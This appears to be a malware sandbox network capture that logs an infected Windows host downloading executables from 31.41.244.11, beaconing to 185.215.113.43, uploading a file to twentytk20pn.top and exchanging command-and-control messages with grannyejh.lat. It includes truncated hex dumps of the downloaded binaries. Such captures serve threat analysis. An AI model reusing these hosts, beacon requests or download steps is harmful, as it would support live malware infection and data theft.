Dec 20, 2024 02:11:48.131481886 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 01:11:47 GMT Content-Type: application/octet-stream Content-Length: 4483072 Last-Modified: Thu, 19 Dec 2024 23:55:56 GMT Connection: keep-alive ETag: "6764b28c-446800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 09 98 63 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 56 48 00 00 fc 76 00 00 32 00 00 00 60 c9 00 00 10 00 00 00 70 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 90 c9 00 00 04 00 00 08 54 45 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 74 00 73 00 00 00 00 60 74 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 4e c9 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1c 4e c9 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELcg(VHv2`pH@TE@ _pts`tlNN PtL(@.rsrc`t\(@.idata pt^(@ 8t`(@zicceeojpb(@xmbctvayPBD@.taggant0`"FD@
Dec 20, 2024 02:11:48.131536961 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 02:11:48.131608009 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 02:11:48.131728888 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 02:11:48.131761074 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 20, 2024 02:11:48.131844997 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ?1a}SNOqYF6
Dec 20, 2024 02:11:48.131880999 CET	1236	IN	Data Raw: a4 4a 7f 86 76 7b 91 f8 be 86 29 0b 50 61 27 74 c0 c2 ef 16 b4 b3 25 8c 75 a6 81 b7 a6 0b 4e b0 44 af 41 8d 89 ab 2a 27 80 30 60 fa 05 d1 fc d1 2f de f6 dd 91 12 3e 69 ca 8e ce f0 18 3c 63 ac 98 63 c1 70 db 91 4f 38 9e 2c f3 82 90 b6 9f a6 a1 ed Data Ascii: Jv{)Pa't%uNDA'0`/>i<ccpO8,#_g2R$BMJ,a?wq,q?<LTmCNM{/=qGos@o8IY5)~MGQBe32EgoTu[y
Dec 20, 2024 02:11:48.132003069 CET	672	IN	Data Raw: b5 e1 33 d5 6c a6 6a 99 17 7f 1b 03 20 4e f6 fa a3 5e 03 15 8a 83 06 32 d9 71 c1 42 61 54 42 51 8a f6 c9 3c 21 98 94 27 d2 7c f2 d4 52 84 96 a2 e2 07 0c 20 66 d7 46 e5 93 83 cc 7c ac 7e eb 32 e9 82 46 4b db 15 74 a0 ad 19 6d b6 d2 96 e8 8e 13 7e Data Ascii: 3lj N^2qBaTBQ<!'\|R fF\|~2FKtm~3?FL))LazBw>${UIhE<)O\|Msq\|#o:MNTR-~Je?wuwpmP
Dec 20, 2024 02:11:48.132036924 CET	1236	IN	Data Raw: d7 fd c3 ef a9 e9 dd 73 ef 0d 71 4e ac 2a d8 4e ce 7c d9 13 c3 20 45 b0 90 3d 9d b5 7f ab 0e af d8 40 e7 13 22 45 21 87 13 17 eb ac a4 6d c2 04 0f 30 43 ea e3 f7 33 9c 46 63 e8 0b 7c a3 65 29 c5 2b c9 04 01 53 ff ba 16 7f 08 a3 a1 5f 95 6d 06 9f Data Ascii: sqNN\| E=@"E!m0C3Fc\|e)+S_m#]o}pn7B\nwOobzx?"kO[7w"p#vs/jPYl{Kc>u7vS,ur H`e4qohVJevnl889JAa
Dec 20, 2024 02:11:48.132072926 CET	1236	IN	Data Raw: 43 f3 fd 32 ee 55 a6 7b 17 c3 81 81 2e 97 c6 98 cb 34 ff 69 fd 01 e1 d6 d9 97 a5 59 47 bb e5 66 02 85 0e d9 eb 9a 1c 2a 5d 21 24 d1 6d 87 fa 35 41 2b ef 6d ea 0d 42 77 35 1e 2a ef c9 d0 5e 37 69 62 13 04 33 47 9a 66 b1 0a 61 c2 a1 05 44 c4 12 b4 Data Ascii: C2U{.4iYGf]!$m5A+mBw5^7ib3GfaDts6Wr-+9w?M4=x!}dT<6dVY'o@l8k4(Bs&7Ifg]I~dEAx/?aWgW^J b>>$;&Q^YX6)\ouK
Dec 20, 2024 02:11:48.251127958 CET	1236	IN	Data Raw: 0c 2a e8 5f 3e 13 7a 04 6e b2 fd 58 94 d6 7f 94 67 7f 1e 3b c2 79 67 ca 85 03 a3 80 ba 1c 95 64 ce 82 1d 04 9a 43 b5 55 e4 e1 fe 3b 2f 9a 1e ed 42 ef e4 7c 6d db 96 85 9b 67 c2 00 3b da a6 b2 08 fd 7d 54 91 bd ba 7b 5b 8d 8f 68 46 d0 f2 d0 5f c9 Data Ascii: *_>znXg;ygdCU;/B\|mg;}T{[hF_$MS`n 5S#x;se<G$QJt>;d7]R</9C=]]^E,T\{G}9M{e}_EOROSr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.5	49979	185.215.113.43	80	7696	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 02:11:57.656948090 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 38 30 36 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1018061001&unit=246122658369
Dec 20, 2024 02:11:58.989391088 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 01:11:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49988	31.41.244.11	80	7696	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 02:11:59.198085070 CET	61	OUT	GET /files/wicked/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 20, 2024 02:12:00.527749062 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 20 Dec 2024 01:12:00 GMT Content-Type: application/octet-stream Content-Length: 1114112 Last-Modified: Thu, 19 Dec 2024 03:43:46 GMT Connection: keep-alive ETag: "67639672-110000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 24 95 63 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 cc 10 00 00 32 00 00 00 00 00 00 ee ea 10 00 00 20 00 00 00 00 11 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 11 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 ea 10 00 57 00 00 00 00 00 11 00 48 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 11 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL$cg02 @ `@WH/@ H.text `.rsrcH/0@@.reloc@@BH<K`pY?F60584zc:VN01O*S~IpRiIPn}iJ!BH+o/Syj8T'}yIkD'$6}w[ )j[-0\|ph\LRT~bKh"8s`)1 [i&9a?FN~_^Q43L@vxIB4\|(~YLS;x)wv:2y%{3w)^7@7k
Dec 20, 2024 02:12:00.527849913 CET	1236	IN	Data Raw: c5 aa 48 9b ae 70 7d f1 84 22 02 e3 af 25 ff 70 0b a7 0d f0 30 e9 b8 67 c4 33 a1 c7 f4 e2 67 07 b9 1d 13 d5 b0 15 b7 9a 9c f0 4c 20 85 a8 02 8b 95 86 b3 8e 7d 65 ab 63 4d 56 2e 77 fb 94 14 cb 5e 76 61 bc 07 61 d8 0e 44 fa a3 52 50 b7 c7 84 0f 72 Data Ascii: Hp}"%p0g3gL }ecMV.w^vaaDRPr\|>CNbYluH#61Z:';)5q2}KK'Rm!a;ijxL8MMWYbp{,mgT%(9<_{;
Dec 20, 2024 02:12:00.527865887 CET	448	IN	Data Raw: 05 00 00 00 b9 00 00 00 1b 00 00 00 c6 ff ff ff 97 00 00 00 2e 00 00 00 6c 00 00 00 38 b4 00 00 00 11 06 1e 2f 08 20 0c d2 b0 d2 25 2b 06 20 34 8c 71 eb 25 26 2b b0 16 6a 0d 11 08 20 39 d6 68 ed 5a 20 3b 9a 58 f3 61 2b 9d 16 13 06 11 08 20 e5 18 Data Ascii: .l8/ %+ 4q%&+j 9hZ ;Xa+ -0Z Ka++o&o Z <c_a8_X =Z fua8Fo 84nZ?_b` <oZ v^a8i+%sojY
Dec 20, 2024 02:12:00.527955055 CET	1236	IN	Data Raw: 00 21 01 00 00 5f 01 00 00 38 03 00 00 8a 01 00 00 f9 01 00 00 d4 02 00 00 d9 01 00 00 38 12 04 00 00 16 13 04 11 0c 20 3c 79 c3 e2 5a 20 b7 80 4f 15 61 38 44 ff ff ff 11 04 6a 06 6e 32 08 20 0c 40 97 01 25 2b 06 20 4f e4 5e 15 25 26 38 29 ff ff Data Ascii: !_88 <yZ Oa8Djn2 @%+ O^%&8)/ 7%+ & &%&8aa Z ]a8, NZ a8aa hZ `Ba8X ~Z [Ba
Dec 20, 2024 02:12:00.528021097 CET	1236	IN	Data Raw: 25 17 58 10 00 91 1f 18 62 60 13 04 7e 01 00 00 04 02 25 17 58 10 00 91 7e 01 00 00 04 02 25 17 58 10 00 91 1e 62 60 7e 01 00 00 04 02 25 17 58 10 00 91 1f 10 62 60 7e 01 00 00 04 02 25 17 58 10 00 91 1f 18 62 60 13 05 d0 01 00 00 1b 28 12 00 00 Data Ascii: %Xb`~%X~%Xb`~%Xb`~%Xb`(o( J6Z a8 ?_ `Z a8~( Z a8nj3 7r%+ L%&8~Y(
Dec 20, 2024 02:12:00.528038025 CET	1236	IN	Data Raw: 61 38 68 fd ff ff 07 2a 00 13 30 08 00 00 03 00 00 04 00 00 11 02 20 c1 36 74 93 5a 20 cf 5e 4e d7 61 10 00 20 8c 8c 7a 92 20 f5 f7 b7 f8 61 25 13 07 1f 12 5e 45 12 00 00 00 eb 00 00 00 51 00 00 00 c7 01 00 00 06 01 00 00 05 00 00 00 f4 01 00 00 Data Ascii: a8h*0 6tZ ^Na z a%^EQl]0n88 Z -vza+ E;Z @a8w ?_b 7Z a8V dZ ]a8;~
Dec 20, 2024 02:12:00.528053999 CET	1236	IN	Data Raw: 04 02 25 17 58 10 00 91 1e 62 60 7e 01 00 00 04 02 25 17 58 10 00 91 1f 10 62 60 7e 01 00 00 04 02 25 17 58 10 00 91 1f 18 62 60 13 05 11 07 20 03 fc db 6c 5a 20 cd a7 16 da 61 38 21 fe ff ff d0 01 00 00 1b 28 12 00 00 0a 6f 13 00 00 0a 11 05 28 Data Ascii: %Xb`~%Xb`~%Xb` lZ a8!(o( 9Z }+a8 gZ i~a8nj3 N}bf%+ OJd%&8~Y( AZ _a8nj. uBP%+ t$%& o0$Za8z~%X
Dec 20, 2024 02:12:00.528317928 CET	896	IN	Data Raw: 01 00 00 75 00 00 00 7c 01 00 00 4f 00 00 00 22 00 00 00 ba 00 00 00 38 77 01 00 00 03 25 7b 07 00 00 04 1e 62 7d 07 00 00 04 07 20 a1 b2 ad 2a 5a 20 ee 76 9e 7e 61 2b a2 03 03 7b 06 00 00 04 1e 62 03 7b 08 00 00 04 6f 0e 00 00 0a d2 60 7d 06 00 Data Ascii: u\|O"8w%{b} *Z v~a+{b{o`} t!Z Ka8u%{Y}%{Y} <8O%{b} !Z +fba8/{7 kR%+ 48`%& HZa8{{dY}{ 7
Dec 20, 2024 02:12:00.528574944 CET	1236	IN	Data Raw: 7b 96 25 2b 06 20 12 19 2d 98 25 26 2b 8a 08 17 58 0c 11 04 20 51 23 66 ec 5a 20 be 2a aa 6e 61 38 73 ff ff ff 06 09 58 0a 07 09 08 1f 1f 5f 62 60 0b 11 04 20 49 fd 60 0f 5a 20 30 5c 39 af 61 38 53 ff ff ff 07 2a 00 00 13 30 06 00 cf 00 00 00 07 Data Ascii: {%+ -%&+X Q#fZ na8sX_b` I`Z 0\9a8S0 v ICa%^EgT08X zZ Pa+X( q+bX_b` Z 1Sa8\| \Z ma8i
Dec 20, 2024 02:12:00.528599977 CET	1236	IN	Data Raw: 49 61 25 0b 1c 5e 45 06 00 00 00 19 00 00 00 4a 00 00 00 d4 ff ff ff 32 00 00 00 60 00 00 00 02 00 00 00 2b 5e 06 6a 1a 6a 2f 08 20 0d fc bb 08 25 2b 06 20 27 17 12 1d 25 26 2b c0 02 7b 13 00 00 04 06 1c 73 0b 00 00 06 a4 03 00 00 02 20 56 ce 72 Data Ascii: Ia%^EJ2`+^jj/ %+ '%&+{s Vrh+} C^Z kJ}a+X Z ca8y*0{.z OR a?a%^EV;+T}{(}{ ( Z 0
Dec 20, 2024 02:12:00.647433043 CET	1236	IN	Data Raw: 39 5e 45 39 00 00 00 d7 06 00 00 bc 06 00 00 43 05 00 00 d6 02 00 00 58 00 00 00 f9 01 00 00 3e 00 00 00 4c 06 00 00 44 04 00 00 84 04 00 00 2c 06 00 00 e9 00 00 00 3c 02 00 00 ec 06 00 00 31 03 00 00 c9 03 00 00 cc 01 00 00 2b 00 00 00 f5 04 00 Data Ascii: 9^E9CX>LD,<1+)K.5uF}u~k/ft8{

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	50039	147.45.113.159	80

Timestamp	Bytes transferred	Direction	Data
Dec 20, 2024 02:12:10.638258934 CET	647	OUT	POST /v1/upload.php HTTP/1.1 Host: twentytk20pn.top Accept: / Content-Length: 465 Content-Type: multipart/form-data; boundary=------------------------e2Hr109i1PILBVI5KaasN4 Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 65 32 48 72 31 30 39 69 31 50 49 4c 42 56 49 35 4b 61 61 73 4e 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 47 75 76 69 73 75 73 65 73 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ea a8 ab fb e3 c0 1a 4a 02 bb 98 89 7f 35 35 4d c5 11 1e 04 2e dd c5 d6 4d 80 a4 f6 d7 00 89 57 85 5b 98 e1 a3 49 6e 04 e7 51 2a 1e 8b b3 39 e9 82 6a d9 07 c7 1d a3 94 ff f4 27 2b b8 c2 94 d2 6a a9 89 a3 2f 9f 2b 26 54 a5 7e b1 86 bf 07 9f 9d 8c 76 5f 35 bd ee 0d f1 7c 5a 81 dc b3 9d ff 80 c5 fa f5 f3 93 f6 c0 cf ce aa b3 82 5b 04 51 43 6b 3c 6b 99 02 22 b0 41 14 53 e3 65 d2 8a 22 81 b4 a0 ad c7 4c aa 53 e7 c3 90 d3 49 27 90 63 9d 06 ec be d0 66 31 3c 8e 9b b5 a3 d8 c1 d9 3c 42 17 25 69 35 af 11 39 e6 a5 54 04 b6 54 6d [TRUNCATED] Data Ascii: --------------------------e2Hr109i1PILBVI5KaasN4Content-Disposition: form-data; name="file"; filename="Guvisuses.bin"Content-Type: application/octet-streamJ55M.MW[InQ9j'+j/+&T~v_5\|Z[QCk<k"ASe"LSI'cf1<<B%i59TTms^$)W~"N\&pw.WVG3]2l@\|[qA--------------------------e2Hr109i1PILBVI5KaasN4--
Dec 20, 2024 02:12:12.080645084 CET	274	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 20 Dec 2024 01:12:11 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 2 Connection: close X-RateLimit-Limit: 30 X-RateLimit-Remaining: 29 X-RateLimit-Reset: 1734658932 ETag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49853	172.67.179.109	443	7944	C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 01:11:19 UTC	260	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: grannyejh.lat
2024-12-20 01:11:19 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-20 01:11:19 UTC	1117	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 01:11:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5lmdbo6sl36s6be6f1r619ieeb; expires=Mon, 14 Apr 2025 18:57:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RyQi25KpqznAkTw4FIe5W1tTA%2BxK3DEUNwaLvNLcy6VhmmSdmRR5zS8lKl9%2BzO%2BWKPfbKWgdDUA6WXwBTgG8QPFmm4j4ztP7qnFg7CiiHcCaHN8mXPt33qRv612UP18x"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4bc1f8ff4d5e82-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1584&min_rtt=1572&rtt_var=614&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2830&recv_bytes=904&delivery_rate=1746411&cwnd=216&unsent_bytes=0&cid=a157e10e7c01b304&ts=874&x=0"
2024-12-20 01:11:19 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-20 01:11:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49860	172.67.179.109	443	7944	C:\Users\user\AppData\Local\Temp\1018024001\f2de4e119f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-20 01:11:21 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: grannyejh.lat
2024-12-20 01:11:21 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-20 01:11:21 UTC	1117	IN	HTTP/1.1 200 OK Date: Fri, 20 Dec 2024 01:11:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=4mkhi7fdlfmk0fv2r8p58jfalp; expires=Mon, 14 Apr 2025 18:58:00 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=V37yDjB2jwW2ArxoqXjGrtQZkOMTEdSkWtIBh6KOQjCitdEnWn5DiM%2BFmG1DFpe%2Bs5G5wC4CVO%2FsMJpYwAIczjvukWxhV5ALdS6gyVcVSjEGLg4001un6mbIyDBQHxrO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f4bc2061d94c42a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1648&min_rtt=1642&rtt_var=628&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2830&recv_bytes=950&delivery_rate=1726788&cwnd=200&unsent_bytes=0&cid=4a4fdd28f90b9495&ts=780&x=0"
2024-12-20 01:11:21 UTC	252	IN	Data Raw: 33 35 32 30 0d 0a 52 76 4a 51 6b 64 79 77 36 4a 70 52 58 4a 78 32 6e 33 4d 2f 43 6a 68 6a 79 70 4c 70 6f 2f 47 30 6d 4d 72 4d 4b 66 71 48 33 7a 59 39 30 43 61 7a 35 6f 54 45 75 43 49 35 76 6b 7a 72 41 55 70 76 46 45 47 72 39 73 75 5a 6c 39 58 30 75 61 6b 46 32 50 47 79 46 48 79 55 4d 66 32 76 31 63 53 34 4e 43 53 2b 54 4d 51 49 48 57 39 57 51 66 43 77 6a 4d 6d 54 31 66 53 6f 72 55 4b 56 39 37 4e 56 4c 70 34 33 2b 62 6e 54 6a 50 73 39 4d 66 6b 54 2b 68 4a 56 5a 46 45 4f 6f 76 2f 4c 6a 39 50 52 34 75 6a 32 43 37 66 69 71 31 63 4c 6b 79 50 36 2f 73 33 45 34 58 4d 35 38 6c 53 6c 55 56 35 76 57 67 2b 73 39 6f 4c 4c 6d 64 7a 38 71 61 68 44 69 75 36 35 58 69 36 51 4e 50 69 7a 32 70 6a 32 4e 7a 62 79 46 66 41 53 48 53 59 61 42 72 43 77 30 34 48 41 35 50 Data Ascii: 3520RvJQkdyw6JpRXJx2n3M/CjhjypLpo/G0mMrMKfqH3zY90Caz5oTEuCI5vkzrAUpvFEGr9suZl9X0uakF2PGyFHyUMf2v1cS4NCS+TMQIHW9WQfCwjMmT1fSorUKV97NVLp43+bnTjPs9MfkT+hJVZFEOov/Lj9PR4uj2C7fiq1cLkyP6/s3E4XM58lSlUV5vWg+s9oLLmdz8qahDiu65Xi6QNPiz2pj2NzbyFfASHSYaBrCw04HA5P
2024-12-20 01:11:21 UTC	1369	IN	Data Raw: 6d 35 76 31 36 56 39 62 73 55 4f 39 34 72 73 37 6e 65 79 71 42 7a 4e 76 49 61 2b 42 4a 53 62 31 73 42 75 76 2b 4c 77 70 76 65 2f 71 4b 68 52 4a 66 72 74 31 4d 73 6d 54 58 38 75 64 71 4d 39 7a 42 2b 73 46 54 36 43 52 30 77 47 69 47 34 38 34 6a 56 6e 73 65 36 74 2b 42 53 32 4f 4b 78 46 48 7a 51 4e 50 32 2f 33 34 72 71 4f 7a 58 31 45 65 38 61 56 47 56 58 41 61 58 36 68 4d 4b 54 30 66 43 69 6f 55 47 63 36 4c 42 53 4a 4a 42 79 76 66 37 56 6b 72 68 72 66 74 30 52 37 52 5a 52 66 68 67 37 36 4f 2f 46 32 4e 50 52 39 75 6a 32 43 35 44 67 76 6c 63 76 6e 7a 48 37 74 63 43 4b 36 6a 55 7a 2b 77 62 37 46 46 4e 69 57 52 4f 69 2f 6f 33 43 6d 74 33 7a 72 61 6c 50 32 4b 76 39 55 7a 7a 51 61 72 4f 66 33 34 48 30 4f 53 6e 2b 56 4f 4a 66 52 43 68 64 44 65 69 6f 79 38 57 53 30 Data Ascii: m5v16V9bsUO94rs7neyqBzNvIa+BJSb1sBuv+Lwpve/qKhRJfrt1MsmTX8udqM9zB+sFT6CR0wGiG484jVnse6t+BS2OKxFHzQNP2/34rqOzX1Ee8aVGVXAaX6hMKT0fCioUGc6LBSJJByvf7Vkrhrft0R7RZRfhg76O/F2NPR9uj2C5DgvlcvnzH7tcCK6jUz+wb7FFNiWROi/o3Cmt3zralP2Kv9UzzQarOf34H0OSn+VOJfRChdDeioy8WS0
2024-12-20 01:11:21 UTC	1369	IN	Data Raw: 4d 67 4b 58 6c 46 41 36 54 4a 76 43 30 6b 4c 2f 37 50 54 44 35 41 72 30 4f 45 33 45 61 42 71 53 77 30 34 47 65 31 2f 4b 75 76 45 53 56 35 72 4e 61 4b 35 55 39 2b 37 37 53 68 2f 30 33 4e 66 55 58 38 42 56 50 59 6c 6f 4a 72 66 47 42 79 39 4f 59 75 71 2b 32 43 38 43 6c 6a 45 4d 76 30 67 66 77 73 4e 79 4e 37 6e 4d 68 73 41 32 39 46 6c 45 6f 41 6b 47 6c 2b 49 37 45 6e 4e 66 77 70 71 74 42 6c 4f 32 7a 56 7a 61 66 4e 76 4f 79 32 6f 44 31 50 54 72 32 48 66 59 61 57 32 68 62 43 2b 69 2b 79 38 61 4c 6c 71 4c 6f 6d 6b 79 55 36 4c 49 57 45 5a 4d 38 2f 62 6e 45 79 75 64 39 4a 37 34 54 38 56 45 46 4b 46 59 49 71 50 75 42 78 5a 50 52 39 36 32 74 54 4a 76 6f 75 6c 34 71 6c 7a 62 2f 74 39 2b 4d 2b 44 51 36 2b 77 62 34 47 46 46 6b 47 6b 2f 6f 39 35 4f 42 79 35 62 56 72 37 Data Ascii: MgKXlFA6TJvC0kL/7PTD5Ar0OE3EaBqSw04Ge1/KuvESV5rNaK5U9+77Sh/03NfUX8BVPYloJrfGBy9OYuq+2C8CljEMv0gfwsNyN7nMhsA29FlEoAkGl+I7EnNfwpqtBlO2zVzafNvOy2oD1PTr2HfYaW2hbC+i+y8aLlqLomkyU6LIWEZM8/bnEyud9J74T8VEFKFYIqPuBxZPR962tTJvoul4qlzb/t9+M+DQ6+wb4GFFkGk/o95OBy5bVr7
